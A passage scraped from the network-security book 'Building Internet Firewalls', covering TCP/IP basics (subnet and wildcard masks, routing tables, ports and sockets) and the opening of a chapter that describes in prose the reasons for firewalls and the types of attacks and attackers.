You will also sometimes hear people talk about wildcard masks, particular with respect to Cisco routers and packet filtering specifications. Wildcard masks are essentially the inverse of subnet masks; where subnet masks use 1 bit to specify the significant bits (the bits to be looked at), wildcard masks use 1 bit to specify the insignificant bits (the bits to be ignored). Thus, a subnet mask of 255.255.0.0 is equivalent to a wildcard mask of 0.0.255.255, and a subnet mask of 255.255.240.0 is equivalent to a wildcard mask of 0.0.15.255. The table below shows the effect of various subnet masks on different network addresses.

 | UNIX Subnet | Equiv. Cisco | Equiv. /bits |
IP Address | Mask | Wildcard | Mask | Interpretation
128.66.12.1 | 255.255.255.0 | 0.0.0.255 | /24 | host 1 on subnet
 |  |  |  | 128.66.12.0
130.97.16.132 | 255.255.255.192 | 0.0.0.63 | /26 | host 4 on subnet
 |  |  |  | 130.97.16.128
192.178.16.66 | 255.255.255.192 | 0.0.0.63 | /26 | host 2 on subnet
 |  |  |  | 192.178.16.64
132.90.132.5 | 255.255.240.0 | 0.0.15.255 | /20 | host 4.5 on subnet
 |  |  |  | 132.90.128.0
18.20.16.91 | 255.255.0.0 | 0.0.255.255 | /16 | host 16.91 on subnet
 |  |  |  | 18.20.0.0

Previous: C.8 Addressing, Routing, and Multiplexing | Building Internet Firewalls | Next: C.10 Internet Routing Architecture
C.8 Addressing, Routing, and Multiplexing | Book Index | C.10 Internet Routing Architecture


[Appendix C] C.10 Internet Routing Architecture

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.9 The IP Address Appendix C
TCP/IP Fundamentals 		Next: C.11 The Routing Table

C.10 Internet Routing Architecture

In the traditional Internet structure, there was a hierarchy of gateways. This hierarchy reflected the history of the Internet, which was built upon the existing ARPANET. When the Internet was created, the ARPANET was the backbone of the network: a central delivery medium to carry long-distance traffic. This central system was called the core, and the centrally managed gateways that interconnected it were called the core gateways.

When a hierarchical structure is used, routing information about all of the networks in the Internet is passed into the core gateways. The core gateways process this information, and then exchange it among themselves using the Gateway to Gateway Protocol (GGP). The processed routing information is then passed back out to the external gateways. You won't run GGP on your local gateway; it is only used by core gateways.

Outside of the Internet core are groups of independent networks called autonomous systems (AS). The term "autonomous system" has a formal meaning in TCP/IP routing. An autonomous system is not merely an independent network. It is a collection of networks and gateways with its own internal mechanism for collecting routing information and passing it to other independent network systems. The routing information passed to the other network systems is called reachability information. Reachability information simply says which networks can be reached through that autonomous system. The Exterior Gateway Protocol (EGP) is currently the protocol most frequently used to pass reachability between autonomous systems (see Figure 13.18).

Figure 13.18: Gateway hierarchy

The Defense Data Network (DDN) portion of the Internet still uses the core model to distribute routing information. But this hierarchical model has a major weakness: every route must be processed by the core. This places a tremendous processing burden on the core, and as the Internet grows larger, the burden increases. In network-speak, we say that this routing model does not scale well and for this reason, a new model is emerging.

The new routing model is based on coequal collections of autonomous systems, called routing domains. Routing domains exchange routing information with other domains using Border Gateway Protocol (BGP) or EGP. Each routing domain processes the information it receives from other domains. Unlike the hierarchical model, this model does not depend on a single core system to choose the "best" routes. Each routing domain does this processing for itself; therefore, this model is more expandable. Figure 13.19 represents this model with three intersecting circles. Each circle is a routing domain. The overlapping areas are border areas, where routing information is shared. The domains share information, but do not rely on any one system to provide all routing information.

Figure 13.19: Routing domains

No matter how it is derived, eventually the routing information winds up in your local gateway, where it is used by IP to make routing decisions.

Previous: C.9 The IP Address | Building Internet Firewalls | Next: C.11 The Routing Table
C.9 The IP Address | Book Index | C.11 The Routing Table


[Appendix C] C.11 The Routing Table

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.10 Internet Routing Architecture Appendix C
TCP/IP Fundamentals 		Next: C.12 Protocols, Ports, and Sockets

C.11 The Routing Table

Gateways route data between networks but all network devices, hosts as well as gateways, must make routing decisions. For most hosts, the routing decisions are simple:

  • If the destination host is on the local network, the data is delivered to the destination host.

  • If the destination host is on a remote network, the data is forwarded to a local gateway.

Because routing is network oriented, IP makes routing decisions based on the network portion of the address. The IP module determines the network part of the destination's IP address by checking the high-order bits of the address to determine the address class. The address class determines the portion of the address IP uses to identify the network. If the destination network is the local network, the local subnet mask is applied to the destination address.

After determining the destination network, the IP module looks up the network in the local routing table.[6] Packets are routed toward their destination as directed by the routing table. The routing table may be built by the system administrator or by routing protocols, but the end result is the same; IP routing decisions are simple table look-ups.

[6] This table is also called the forwarding table.

On a UNIX system, you can display the routing table's contents with the netstat -nr command. The -r option tells netstat to display the routing table, and the -n option tells netstat to display the table in numeric form. It's useful to display the routing table in numeric form because the destination of most routes is a network, and networks are usually referred to by network numbers.

The netstat command displays a routing table containing the following fields:

Destination

The destination network (or host)

Gateway

The gateway to use to reach the specified destination.

Flags

The flags describe certain characteristics of this route. The possible flag values are:

U:

Indicates that the route is up and operational.

H:

Indicates this is a route to a specific host (most routes are to networks).

G:

Means the route uses a gateway. The system's network interfaces provide routes to directly connected networks. All other routes use remote gateways. Directly connected networks do not have the G flag set; all other routes do.

D:

Means that this route was added because of an ICMP redirect. When a system learns of a route via an ICMP redirect, it adds the route to its routing table, so that additional packets bound for that destination will not need to be redirected. The system uses the D flag to mark these routes.

Refcnt

Shows the number of times the route has been referenced to establish a connection.

Use

Shows the number of packets transmitted via this route.

Interface

The name of the network interface.[7]

[7] The network interface is the network access hardware and software that IP uses to communicate with the physical network.

The two fields important for our current discussion are the destination and gateway fields. The following is a sample routing table:

peanut% netstat -nr
Routing tables
Destination Gateway       Flags Refcnt       Use  Interface
127.0.0.1  127.0.0.1       UH      1         298         lo0
default     128.66.12.1    UG      2       50360         le0
128.66.12.0 128.66.12.2    U      40      111379         le0
128.66.2.0  128.66.12.3    UG      4        1179         le0
128.66.1.0  128.66.12.3    UG     10        1113         le0
128.66.3.0  128.66.12.3    UG      2        1379         le0
128.66.4.0  128.66.12.3    UG      4        1119         le0

The first table entry is the loopback route for the local host. This is the loopback address mentioned earlier as a reserved network number. Because every system uses the loopback route to send datagrams to itself, this entry is in every host's routing table. The H flag is set because it is a route to a specific host (127.0.0.1), not a route to an entire network (127.0.0.0).

Another unique entry in the routing table is the entry with the word "default" in the destination field. This entry is for the default route, and the gateway specified in this entry is the default gateway. The default gateway is used whenever there is no specific route in the table for a destination network address. For example, this routing table has no entry for network 192.178.16.0. If IP receives any datagrams addressed to this network, it will send the datagram via the default gateway 128.66.12.1.

You can tell from the sample routing table display that this host (peanut) is directly connected to network 128.66.12.0. The routing table entry for that network does not specify an external gateway; i.e., the routing table entry for 128.66.12.0 does not have the G flag set. Therefore, peanut must be directly connected to that network.

All of the gateways that appear in a routing table are on networks directly connected to the local system. In the sample shown above this means that, regardless of the destination address, the gateway addresses all begin with 128.66.12. This is the only network to which peanut is directly attached, and therefore it is the only network to which peanut can directly deliver data. The gateways that peanut uses to reach the rest of the Internet must be on peanut's subnet.

Figure 13.20 shows how routing works on our imaginary network. The IP layer of each host and gateway is replaced by a small piece of a routing table, showing destination networks and the gateways used to reach those destinations. When the source host (128.66.12.2) sends data to the destination host (128.66.1.2), it first determines that 128.66.1.2 is the local network's class B address and applies the subnet mask. (Network 128.66.0.0 is subnetted using the mask 255.255.255.0; this could also be written as 128.66.0.0/24.) After applying the subnet mask, IP knows that the destination's network address is 128.66.1.0. The routing table in the source host shows that data bound for 128.66.1.0 should be sent to gateway 128.66.12.3. Gateway 128.66.12.3 makes direct delivery thorough its 128.66.1.5 interface. Examining the routing tables shows that all systems list only gateways on networks they are directly connected to. Note that 128.66.12.1 is the default gateway for both 128.66.12.2 and 128.66.12.3. But because 128.66.1.2 cannot reach network 128.66.12.0 directly, it has a different default route.

Figure 13.20: Table-based routing

A routing table does not contain end-to-end routes. A route only points to the next gateway, called the next hop, along the path to the destination network. The host relies on the local gateway to deliver the data, and the gateway relies on other gateways. As a datagram moves from one gateway to another, it should eventually reach one that is directly connected to its destination network. It is this last gateway that finally delivers the data to the destination host.

Previous: C.10 Internet Routing Architecture | Building Internet Firewalls | Next: C.12 Protocols, Ports, and Sockets
C.10 Internet Routing Architecture | Book Index | C.12 Protocols, Ports, and Sockets


[Appendix C] C.12 Protocols, Ports, and Sockets

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.11 The Routing Table Appendix C
TCP/IP Fundamentals

C.12 Protocols, Ports, and Sockets

Once data is routed through the network and delivered to a specific host, it must be delivered to the correct user or process. As the data moves up or down the layers of TCP/IP, a mechanism is needed to deliver data to the correct protocols in each layer. The system must be able to combine data from many applications into a few transport protocols, and from the transport protocols into IP. Combining many sources of data into a single data stream is called multiplexing. Data arriving from the network must be demultiplexed - divided for delivery to multiple processes. To accomplish this, IP uses protocol numbers to identify transport protocols, and the transport protocols use port numbers to identify applications.

Some protocol and port numbers are reserved to identify well-known services. Well-known services are standard network protocols, such as FTP and Telnet that are commonly used throughout the network. The protocol numbers and port numbers allocated to well-known services are documented in the Assigned Numbers RFC. UNIX systems define protocol and port numbers in two simple text files, /etc/protocols and /etc/services.

C.12.1 Protocol Numbers

The protocol number is a single byte in the third word of the datagram header. The value identifies the protocol in the layer above IP to which the data should be passed.

On a UNIX system, the protocol numbers are defined in the /etc/protocols file. This file is a simple table containing the protocol name and the protocol number associated with that name. The format of the table is a single entry per line, consisting of the official protocol name, separated by white space from the protocol number. The protocol number is separated by white space from the "alias" for the protocol name. Comments in the table begin with #. An/etc/protocol file is shown below.

% cat /etc/protocols
#
# @(#)protocols 1.8 88/02/07 SMI
#
# Internet (IP) protocols #
ip     0      IP     # internet protocol, pseudo protocol number
icmp   1      ICMP   # internet control message protocol
igmp   2      IGMP   # internet group multicast protocol
ggp    3      GGP    # gateway-gateway protocol
tcp    6      TCP    # transmission control protocol
pup    12     PUP    # PARC universal packet protocol
udp    17     UDP    # user datagram protocol

The listing shown above is the contents of the /etc/protocols file from an actual workstation. This list of numbers is by no means complete. If you refer to the Protocol Numbers section of the Assigned Numbers RFC (which itself gets a new RFC number every time it is updated; that's why we don't give you the RFC number for it here), you'll see many more protocol numbers. However, a system only needs to include the numbers of the protocols it actually uses. Even the list shown above is more than this specific workstation needed, but the additional entries do no harm.

What exactly does this table mean? When a datagram arrives and its destination address matches the local IP address, the IP layer knows the datagram has to be delivered to one of the transport protocols above it. To decide which protocol should receive the datagram, IP looks at the datagram's protocol number. Using this table you can see that, if the datagram's protocol number is 6, IP delivers the datagram to TCP. If the protocol number is 17, IP delivers the datagram to UDP. TCP and UDP are the two transport layer services we are concerned with, but all of the protocols listed in the table use IP datagram delivery service directly. Some, such as ICMP and GGP, have already been mentioned. You don't need to be concerned with these minor protocols, but IGMP is an extension to IP for multicasting explained in RFC 988, and PUP is a packet protocol similar to UDP.

C.12.2 Port Numbers

After IP passes incoming data to the transport protocol (TCP or UDP), the transport protocol passes the data to the correct application process. Application processes (also called network services are identified by port numbers, which are 16-bit values. The source port number, which identifies the process that sent the data, and the destination port number, which identifies the process that is to receive the data, are contained in the first header word of each TCP segment and UDP packet.

On UNIX systems, port numbers are defined in the /etc/services file. There are many more network applications than there are transport layer protocols, as the size of the table shows. Port numbers below 256 are reserved for well-known services (like FTP and Telnet) and are defined in the Assigned Numbers RFC. Ports numbered from 256 to 1024 are used for UNIX-specific services, which are services like rlogin, that were originally developed for UNIX systems. However, most of them are no longer UNIX-specific.

Port numbers are not unique between transport layer protocols; the numbers are only unique within a specific transport protocol. In other words, TCP and UDP can, and do, both assign the same port numbers. It is the combination of protocol and port numbers that uniquely identifies the specific process the data should be delivered to.

A partial /etc/services file is shown below. The format of this file is very similar to the /etc/protocols file. Each single-line entry starts with the official name of the service, separated by white space from the port number/protocol pairing associated with that service. The port numbers are paired with transport protocol names, because different transport protocols may use the same port number. An optional list of aliases for the official service name may be provided after the port number/protocol pair.

peanut% cat /etc/services
#
# @(#)services 1.12 88/02/07 SMI
#
# Network services, Internet style
#
echo            7/udp
echo            7/tcp
ftp-data        20/tcp
ftp             21/tcp
telnet          23/tcp
smtp            25/tcp          mail
time            37/tcp          timserver
time            37/udp          timserver
domain          53/udp
domain          53/tcp
#
# Host specific functions
#
finger          79/tcp
nntp            119/tcp         usenet    # Network News Transfer
ntp             123/tcp                   # Network Time Protocol
#
# UNIX specific services
#
exec            512/tcp
login           513/tcp
shell           514/tcp         cmd       # no passwords used
biff            512/udp         comsat
who             513/udp         whod
syslog          514/udp
talk            517/udp
route           520/udp         router routed

This table, combined with the/etc/protocols table, provides all of the information necessary to deliver data to the correct application. A datagram arrives at its destination based on the destination address in the fifth word of the datagram header. IP uses the protocol number in the third word of the datagram header, to deliver the data from the datagram, to the proper transport layer protocol. The first word of the data delivered to the transport protocol contains the destination port number that tells the transport protocol to pass the data up to a specific application. Figure 13.21 shows this delivery process.

Figure 13.21: Protocol and port numbers

C.12.3 Sockets

Well-known ports are standardized port numbers that enable remote computers to know which port to connect to for a particular network service. This simplifies the connection process because both the sender and receiver know in advance that data bound for a specific process will use a specific port. For example, all systems that offer Telnet, offer it on port 23.

There is a second type of port number called a dynamically allocated port. As the name implies, dynamically allocated ports are not preassigned. They are assigned to processes when needed. The system ensures that it does not assign the same port number to two processes, and that the numbers assigned are above the range of standard port numbers.

Dynamically assigned ports provide the flexibility needed to support multiple users. If a Telnet user is assigned port number 23 for both the source and destination ports, what port numbers are assigned to the second concurrent Telnet user? To uniquely identify every connection, the source port is assigned a dynamically allocated port number, and the well-known port number is used for the destination port.

In the Telnet example, the first user is given a random source port number and a destination port number of 23 (Telnet). The second user is given a different random source port number and the same destination port. It is the pair of port numbers, source and destination, that uniquely identifies each network connection. The destination host knows the source port, because it is provided in both the TCP segment header and the UDP packet header. Both hosts know the destination port because it is a well-known port.

Figure 13.22 shows the exchange of port numbers during the TCP handshake. The source host randomly generates a source port, in this example 3044. It sends out a segment with a source port of 3044 and a destination port of 23. The destination host receives the segment, and responds back using 23 as its source port and 3044 as its destination port.

Figure 13.22: Passing port numbers

The combination of an IP address and a port number is called a socket. A socket uniquely identifies a single network process within the entire Internet. Sometimes the terms "socket" and "port number" are used interchangeably. In fact, well-known services are frequently referred to as "well-known sockets." In the context of this discussion, a "socket" is the combination of an IP address and a port number. A pair of sockets, one socket for the receiving host and one for the sending host, define the connection for connection-oriented protocols such as TCP.

Let's build on the example of dynamically assigned ports and well-known ports. Assume a user on host 128.66.12.2 uses Telnet to connect to host 192.178.16.2. Host 128.66.12.2 is the source host. The user is dynamically assigned a unique port number - 3382. The connection is made to the Telnet service on the remote host which is, according to the standard, assigned well-known port 23. The socket for the source side of the connection is 128.66.12.2.3382 (IP address 128.66.12.2 plus port number 3382). For the destination side of the connection, the socket is 192.178.16.2.23 (address 192.178.16.2 plus port 23). The port of the destination socket is known by both systems because it is a well-known port. The port of the source socket is known, because the source host informed the destination host of the source socket when the connection request was made. The socket pair is therefore known by both the source and destination computers. The combination of the two sockets uniquely identifies this connection; no other connection in the Internet has this socket pair.

Figure 13.23 shows how clients on multiple machines can all connect to the same port on a single server. The server can tell the difference between the connections because they each involve different remote IP addresses. Even if the connections are all coming from a single remote machine, as shown in Figure 13.24, the server can still tell them apart because each connection uses a different port number on the remote machine.

Figure 13.23: Clients on multiple hosts connecting to the same port on a server

Figure 13.24: Multiple clients on a single host connecting to the same port on a server

Previous: C.11 The Routing Table | Building Internet Firewalls
C.11 The Routing Table | Book Index


[Chapter 1] Why Internet Firewalls?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: I. Network Security Chapter 1 Next: 1.2 What Are You Trying To Protect Against?

1. Why Internet Firewalls?

Contents:
What Are You Trying to Protect?
What Are You Trying To Protect Against?
How Can You Protect Your Site?
What Is an Internet Firewall?

It is scarcely possible to enter a bookstore, read a magazine or a newspaper, or listen to a news broadcast without seeing or hearing something about the Internet in some guise. It's become so popular that it no longer requires explanations when mentioned in nontechnical publications, and it gets mentioned plenty, in magazines ranging from The New Yorker to Bead and Button. While nontechnical publications are obsessed with the Internet, the technical publications have moved on and are obsessed with security. It's a logical progression; once the first excitement of having a superhighway in your neighborhood wears off, you're bound to notice that not only does it let you travel, it lets a very large number of strangers show up where you are, and not all of them are people you would have invited.

Both views are true: The Internet is a marvelous technological advance that provides access to information, and the ability to publish information, in revolutionary ways. But it's also a major danger that provides the ability to pollute and destroy information in revolutionary ways. This book is about one way to balance the advantages and the risks - to take part in the Internet while still protecting yourself.

Later in this chapter, we describe different models of security people have used to protect their data and resources on the Internet. Our emphasis in this book is on the network security model and, in particular, the use of Internet firewalls. A firewall is a form of protection that allows a network to connect to the Internet while maintaining a degree of security. The section later in this chapter called "What is an Internet Firewall?" describes the basics of firewalls and summarize what they can - and cannot - do to help make your site secure. Before we discuss what you can do with a firewall, though, we want to describe briefly why you need one. What are you protecting on your systems? What types of attacks and attackers are we seeing today? What types of security can you use to protect your site?

1.1 What Are You Trying to Protect?

A firewall is basically a protective device. If you are building a firewall, the first thing you need to worry about is what you're trying to protect. When you connect to the Internet, you're putting three things at risk:

  • Your data: the information you keep on the computers

  • Your resources: the computers themselves

  • Your reputation

1.1.1 Your Data

Your data has three separate characteristics that need to be protected:

  • Secrecy: you might not want other people to know it.

  • Integrity: you probably don't want other people to change it.

  • Availability: you almost certainly want to be able to use it yourself.

People tend to focus on the risks associated with secrecy, and it's true that those are usually large risks. Many organizations have some of their most important secrets - the designs for their products, their financial records, or student records - on their computers. On the other hand, you may find that at your site it is relatively easy to separate the machines containing this kind of highly secret data from the machines that connect to the Internet.

Suppose that you can separate your data in this way, and that none of the information that is Internet accessible is secret. In that case, why should you worry about security? Because secrecy isn't the only thing you're trying to protect. You still need to worry about integrity and availability. After all, if your data isn't secret, and if you don't mind its being changed, and if you don't care whether or not anybody can get to it, why are you wasting disk space on it?

Even if your data isn't particularly secret, you'll suffer the consequences if it's destroyed or modified. Some of these consequences have readily calculable costs: if you lose data, you'll have to pay to have it reconstructed; if you were planning to sell that data in some form, you'll have lost sales regardless of whether the data is something you sell directly, the designs you use to build things from, or the code for a software product. There are also intangible costs associated with any security incident. The most serious is the loss of confidence (user confidence, customer confidence, investor confidence, staff confidence, student confidence, public confidence) in your systems and data and, consequently, a loss of confidence in your organization.

Has Your Data Been Modified?

Security incidents are different from many other types of crimes because detection is unusually difficult. Sometimes, it may take a long time to find out that someone has broken into your site. Sometimes, you'll never know. Even if somebody breaks in but doesn't actually do anything to your system or data, you'll probably lose time (hours or days) while you verify that they didn't do anything. In a lot of ways, a brute-force trash-everything attack is a lot easier to deal with than a break-in by somebody who doesn't appear to damage your system. If they trash everything, you bite the bullet, restore from backups, and get on with your life. But, if they don't appear to have done anything, you spend a lot of time second-guessing yourself, trying to make sure they haven't done anything to damage your system or data. Although this book is about preventing security incidents, Chapter 13, Responding to Security Incidents supplies some general guidelines for detecting, investigating, and recovering from security incidents.

1.1.2 Your Resources

Even if you have data you don't care about - even if you enjoy reinstalling your operating system every week because it exercises the disks, or something like that - if other people are going to use your computers, you probably would like to benefit from this use in some way. Most people want to use their own computers, or they want to charge other people for using them. Even people who give away computer time and disk space usually expect to get good publicity and thanks for it; they aren't going to get it from intruders. You spend good time and money on your computing resources, and it is your right to determine how they are used.

Intruders often argue that they are using only excess resources; as a consequence, their intrusions don't cost their victims anything. There are two problems with this argument.

First, it's impossible for an intruder to determine successfully what resources are excess and use only those. It may look as if your system has oceans of empty disk space and hours of unused computing time; in fact, though, you might be just about to start computing animation sequences that are going to use every bit and every microsecond. An intruder can't give back your resources when you want them. (Along the same lines, I don't usually use my car between midnight and 6 A.M., but that doesn't mean I'm willing to lend it to you without being asked. What if I have an early-morning flight the next day, or what if I'm called out to deal with an emergency?)

Second, it's your right to use your resources the way you want to, even if you merely feel some sort of Zen joy at the sight of empty disk space, or if you like the way the blinky lights look when nothing's happening on your computer. Computing resources are not natural resources, nor are they limited resources that are wasted or destroyed if they're not used.

1.1.3 Your Reputation

An intruder appears on the Internet with your identity. Anything he does appears to come from you. What are the consequences?

Most of the time, the consequences are simply that other sites - or law enforcement agencies - start calling you to ask why you're trying to break into their systems. (This isn't as rare an occurrence as it may seem. One site got serious about security when its system administration staff added a line item to their time cards for conversations with the FBI about break-in attempts originating from their site.)

Sometimes, such impostors cost you a lot more than lost time. An intruder who actively dislikes you, or simply takes pleasure in making life difficult for strangers, may send electronic mail or post news messages that purport to come from you. Generally, people who choose to do this aim for maximum hatefulness, rather than believability, but even if only a few people believe these messages, the cleanup can be long and humiliating. Anything even remotely believable can do permanent damage to your reputation.

A few years ago, an impostor posing as a Texas A&M professor sent out hate email containing racist comments to thousands of recipients. The impostor was never found, and the professor is still dealing with the repercussions of the forged messages. In another case, a student at Dartmouth sent out email over the signature of a professor late one night during exam period. Claiming a family emergency, the forged mail canceled the next day's exam, and only a few students showed up.

It's possible to forge electronic mail or news without gaining access to a site, but it's much easier to show that a message is a forgery if it's generated from outside the forged site. The messages coming from an intruder who has gained access to your site will look exactly like yours because they are yours. An intruder will also have access to all kinds of details that an external forger won't. For example, an intruder has all of your mailing lists available and knows exactly who you send mail to.

Even if an intruder doesn't use your identity, a break-in at your site isn't good for your reputation. It shakes people's confidence in your organization. In addition, most intruders will attempt to go from your machines to others, which is going to make their next victims think of your site as a platform for computer criminals. Many intruders will also use compromised sites as distribution sites for pirated software and/or pornography, which is not going to endear you to many folks either. Whether or not it's your fault, having your name linked to other intrusions, software piracy, and pornography is hard to recover from.

Previous: I. Network Security | Building Internet Firewalls | Next: 1.2 What Are You Trying To Protect Against?
I. Network Security | Book Index | 1.2 What Are You Trying To Protect Against?


[Chapter 1] 1.2 What Are You Trying To Protect Against?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 1.1 What Are You Trying to Protect? Chapter 1
Why Internet Firewalls? 		Next: 1.3 How Can You Protect Your Site?

1.2 What Are You Trying To Protect Against?

What's out there to worry about? What types of attacks are you likely to face on the Internet, and what types of attackers are likely to be carrying them out? And what about simple accidents or stupidity? In the sections below, we touch on these topics but we don't go into any technical detail; later chapters describe different kinds of attacks in some detail and explain how firewalls can help protect against them.

1.2.1 Types of Attacks

There are many types of attacks on systems, and many ways of categorizing these attacks. In this section, we break attacks down into three basic categories: intrusion, denial of service, and information theft.

1.2.1.1 Intrusion

The most common attacks on your systems are intrusions; with intrusions, people are actually able to use your computers. Most attackers want to use your computers as if they were legitimate users.

Attackers have dozens of ways to get access. They range from social engineering attacks (you figure out the name of somebody high up in the company; you call a system administrator, claiming to be that person and claiming to need your password changed right now, so that you can get important work done), to simple guesswork (you try account name and password combinations until one works), to intricate ways to get in without needing to know an account name and password.

As we describe in this book, firewalls help prevent intrusions in a number of ways. Ideally, they block all ways to get into a system without knowing an account name and password. Properly configured, they reduce the number of accounts accessible from the outside that are therefore vulnerable to guesswork or social engineering. Most people configure their firewalls to use one-time passwords that prevent guessing attacks. Even if you don't use these passwords, which we describe in Chapter 10, Authentication and Inbound Services, a firewall will give you a controlled place to log attempts to get into your system, and, in this way, they help you detect guessing attacks.

1.2.1.2 Denial of Service

A denial of service attack is one that's aimed entirely at preventing you from using your own computers.

In late 1994, writers Josh Quittner and Michelle Slatalla were the target of an "electronic mail bomb." Apparently in retaliation for an article on the cracker community they'd published in Wired magazine, someone broke into IBM, Sprint, and the writers' network provider, and modified programs so their email and telephone service was disrupted. A flood of email messages so overwhelmed their network service that other messages couldn't get through; eventually, their Internet connection was shut down entirely. Their phone service also fell victim to the intruders, who reprogrammed the service so that callers were routed to an out-of state number where they heard an obscene recording.

Although some cases of electronic sabotage involve the actual destruction or shutting down of equipment or data, more often they follow the pattern of flooding seen in the Quittner-Slatalla case or in the case of the Internet worm. An intruder so floods a system or network - with messages, processes, or network requests - that no real work can be done. The system or network spends all its time responding to messages and requests, and can't satisfy any of them.

While flooding is the simplest and most common way to carry out a denial of service attack, a cleverer attacker can also disable services, reroute them, or replace them. For example, the phone attack in the Quittner-Slatalla case denied phone service by rerouting their phone calls elsewhere; it's possible to mount the same kind of attack against Internet services.

It's close to impossible to avoid all denial of service attacks. Sometimes it's a "heads, I win; tails, you lose" situation for attackers. For example, many sites set accounts up to become unusable after a certain number of failed login attempts. This prevents attackers from simply trying passwords until they find the right one. On the other hand, it gives the attackers an easy way to mount a denial of service attack: they lock any user's account simply by trying to log in a few times.

Most often, the risk of denial of service attacks is unavoidable. If you accept things from the external universe - electronic mail, telephone calls, or packages - it's possible to get flooded. The notorious college prank of ordering a pizza or two from every pizzeria in town to be delivered to your least favorite person is a form of denial of service; it's hard to do much else while arguing with 42 pizza deliverers. In the electronic world, denial of service is as likely to happen by accident as on purpose (have you ever had a persistent fax machine try to fax something to your voice line?). The most important thing is to set up services so that if one of them is flooded, the rest of your site keeps functioning while you find and fix the problem.

Fortunately, deliberate denial of service attacks are not terribly popular. They're so easy that they're considered "unsporting" by many attackers; they tend to be simple to trace back and are therefore risky to the attacker; and they don't provide the attacker with the information or the ability to use your computers (the payoff for most other attacks). Intentional denial of service attacks are the work of people who are angry at your site in particular, and at most sites such people are quite rare.

You are far more likely to encounter unintentional denial of service problems, as we discuss in the section on "Stupidity and Accidents" later in this chapter.

1.2.1.3 Information Theft

Some types of attacks allow an attacker to get data without ever having to directly use your computers. Usually these attacks exploit Internet services that are intended to give out information, inducing the services to give out more information than was intended, or to give it out to the wrong people. Many Internet services are designed for use on local area networks, and don't have the type or degree of security that would allow them to be used safely across the Internet.

Information theft doesn't need to be active or particularly technical. People who want to find out personal information could simply call you and ask (perhaps pretending to be somebody who had a right to know): this is an active information theft. Or they could tap your telephone: a passive information theft. Similarly, people who want to gather electronic information could actively query for it (perhaps pretending to be a machine or a user with valid access) or could passively tap the network and wait for it to flow by.

Most people who steal information try to get access to your computers; they're looking for usernames and passwords. Fortunately for them, and unfortunately for everybody else, that's the easiest kind of information to get when tapping a network. Username and password information occurs quite predictably at the beginning of many network interactions, and such information can be reused in the same form.

How would you proceed if you want to find out how somebody answers her telephone? Installing a tap would be an easy and reliable way to get that information, and a tap at a central point in the telephone system would yield you the telephone greetings of hundreds or thousands of people in a short period of time.

On the other hand, what if you want to know how somebody spells his last name, or what the names and ages of his children are? In this case, a telephone tap is a slow and unreliable way to get that information. A telephone tap at a central point in the system will probably yield that information about some people, and it will certainly yield some secret information you could use in interesting ways, but the information is going to be buried among the conversations of hundreds of people setting up lunch dates and chatting about the weather.

Similarly, network taps, which are usually called sniffers, are very effective at finding password information, but are rarely used to gather other kinds of information. Getting more specific information about a site requires either extreme dedication and patience, or the knowledge that the information you want will reliably pass through a given place at a given time. For example, if you know that somebody calls his bank to transfer money between his checking and savings accounts at 2 P.M. every other Friday, it's worth tapping that phone call to find out the person's access codes and account numbers. However, it's probably not worth tapping somebody else's phone, on the off chance that they too will do such a transfer, because most people don't transfer money over the phone at all.

Network sniffing is much easier than tapping a telephone line. Traditionally, the connectors used to hook a computer up to a network are known as network taps (that's why the term tapping isn't used for spying on a network), and the connectors behave like taps too. In most common network technologies, such as Ethernet and token ring, any computer on a local area network is capable of seeing all the traffic that passes across that local area network. Traffic that crosses the Internet may cross any number of local area networks, any one of which can be a point of compromise. Network service providers and public-access systems are very popular targets for intrusions; sniffers placed there can be extremely successful because so much traffic passes through these networks.

There are several types of protection against information theft. A properly configured firewall will protect you against people who are trying to get more information than you intended to give. Once you've decided to give information out across the Internet, however, it's very difficult to protect against that information reaching an unintended audience, either through misauthentication (somebody claiming to be authorized, when they're not) or through sniffing (somebody simply reading information as it crosses a correctly authorized channel). Although these risks are outside of the protection a firewall can give (because they occur once information has intentionally been allowed to go outside your network), we do discuss them, and the methods used to reduce them, as appropriate in this book.

1.2.2 Types of Attackers

This section very briefly describes the types of attackers who are out there on the Internet. There are many ways to categorize these attackers; we can't really do justice to the many variants of attackers we've seen over the years, and any quick summary of this kind necessarily presents a rather stereotyped view. Nevertheless, this summary may be useful in distinguishing the main categories of attackers.

All attackers share certain characteristics. They don't want to be caught, so they try to conceal themselves. If they gain access to your system, they will certainly attempt to preserve that access, if possible, by building in extra ways to get access (and they hope you won't notice these access routes even if you find the attackers themselves). Most of them have some contact with other people who have the same kinds of interests ("the underground" is not hard to find), and most will share the information they get from attacking your system.

1.2.2.1 Joyriders

Joyriders are bored people looking for amusement. They break in because they think you might have interesting data, or because it would be amusing to use your computers, or because they have nothing better to do. They might be out to learn about the kind of computer you have or about the data you have. They're curious, but not actively malicious; however, they often damage the system through ignorance or in trying to cover their tracks. Joyriders are particularly attracted to well-known sites and uncommon computers.

1.2.2.2 Vandals

Vandals are out to do damage, either because they get their kicks from destroying things, or because they don't like you. When one gets to you, you'll know it.

Vandals are a big problem if you're somebody that the Internet underground might think of as The Enemy (for example, the phone company or the government) or if you tend to annoy people who have computers and time (for example, you're a university with failing students, or a computer company with annoyed customers, or you have an aggressively commercial presence on the Internet). You can also become a target simply by being large and visible; if you put a big white wall up in certain neighborhoods, people will put graffiti on it no matter how they feel about you.

Fortunately, vandals are fairly rare. People don't like them, even people in the underground who have nothing against breaking into computers in general. Vandals also tend to inspire people to go to great lengths to find them and stop them. Unlike more mundane intruders, vandals have short but splashy careers. Most of them also go for straightforward destruction, which is unpleasant but is relatively easily detected and repaired. In most circumstances, deleting your data, or even ruining your computer equipment, is not the worst thing somebody could do to you, but it is what vandals do. (Actually, introducing subtle but significant changes in programs or financial data would be much harder to detect and fix.)

Unfortunately, it's close to impossible to stop a determined vandal; somebody with a true vendetta against your site is going to get you, sooner or later. Certain attacks are attractive to vandals but not to other types of attackers. For example, denial of service attacks are not attractive to joyriders; while joyriders are around in your system, they are just as interested as you are in having your computers up, running, and available to the Internet.

1.2.2.3 Score Keepers

Many intruders are engaging in an updated version of an ancient tradition. They're gaining bragging rights, based on the number and types of systems they've broken into.

